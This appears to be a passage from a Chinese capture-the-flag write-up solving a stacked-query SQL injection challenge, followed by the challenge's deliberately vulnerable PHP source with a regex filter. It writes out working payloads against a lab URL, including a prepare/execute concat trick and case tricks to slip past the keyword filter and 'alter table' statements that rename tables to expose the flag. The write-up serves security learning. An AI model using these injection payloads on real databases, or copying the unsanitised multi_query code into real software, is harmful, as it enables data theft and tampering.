根据返回显示,我们可以判断目标源码中的SQL语句是字符型的,使用单引号闭合
我们本地使用mysql测试如下
#
、--
进行测试http://111.200.241.244:58599/?inject=1';show columns from `1919810931114514`;%23
注:若字符串为表名,在进行sql语句查询时要加反引号,这里words可以不加反引号
http://111.200.241.244:58599/?inject=1';show columns from `words`;%23
那我们这里有两种方法进行绕过
预编译语法:
set #用于设置变量名和值
prepare #用于预备一个语句,并赋予名称,后面可以引用该语句
execute #执行语句
deallocate prepare #用于释放预处理的语句
1';set @xx=concat('se','lect * from `1919810931114514`;');prepare oo from @xx;execute oo;%23
拆分开来如下
1';#第一个语句
set @xx=concat('se','lect * from `1919810931114514`;');#设置一个变量xx,其值为想要执行的sql语句,这里使用拼接来绕过对select的过滤
prepare oo from @xx;#设置一个预备语句,也就是xx变量中的语句,并赋予其名称为oo
execute oo;#执行预备语句oo
#
执行后出现下图所示
这里显示,又被strstr过滤了,但strstr不区分大小写,所以我们可以使用大写对其函数进行绕过
http://111.200.241.244:58599/?inject=1';Set @xx=concat('se','lect * from `1919810931114514`;');Prepare oo from @xx;execute oo%23
由第三步查看words表中字段时,发现了其中有id和data字段,而我们输入框中输入的1时显示出来的内容和这个正好匹配,所以words这个表中时显示内容的,因此,我们可以将表1919810931114514的名字改为words,flag字段(也就是列)的名字改为id,那么就能得到flag的内容了
预备知识:
修改表名和列名的语法:
(1)修改表名(将表名xx改为oo)
alter table xx rename to oo;
(2)修改列名(将字段名mm改为nn)
alter table oo change mm nn varchar(50);
payload:
1';alter table words rename to xx;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);%23
##分析
1'; #第一条sql语句
alter table words rename to xx;#将words的表名修改为xx
alter table `1919810931114514` rename to words;#将1919810931114514的表名修改为words
alter table words change flag id varchar(50);#将words中flag的字段名修改为id
%23#注释符
##注:由此看出,相当于将1919810931114514表直接改为words表,但他的字段名还是1919810931114514表中的,所以需要将flag修改为id,这样就可以直接访问了
最终结果
http://111.200.241.244:58599/?inject=1' or 1=1%23
select * from `users` where id = '1';alter table users rename to xx;alter table `emails` rename to users;alter table users change email_id id varchar(50);#;
这是可以看到,users表已经完全不一样的了,or 1=1也是输出表中的全部内容
这道题的源码如下:
有下面的源码也可以更加容易理解第二种绕过select的方法,还有为什么使用1’ or 1=1#
我们把关键sql语句拉出来看
select * from `words` where id = '$id';
payload拼接之后就是
select * from `words` where id = '1' or 1=1#;
//这条语句不管words中有多少字段和值,都会显示出来,我们可以本地在sqli-labs-less-1中测试,如下图,这也就是我们将flag字段名改为id后可以显示flag的原因
<html>
<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
<pre>
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "
";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "
";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
</pre>
</body>
</html>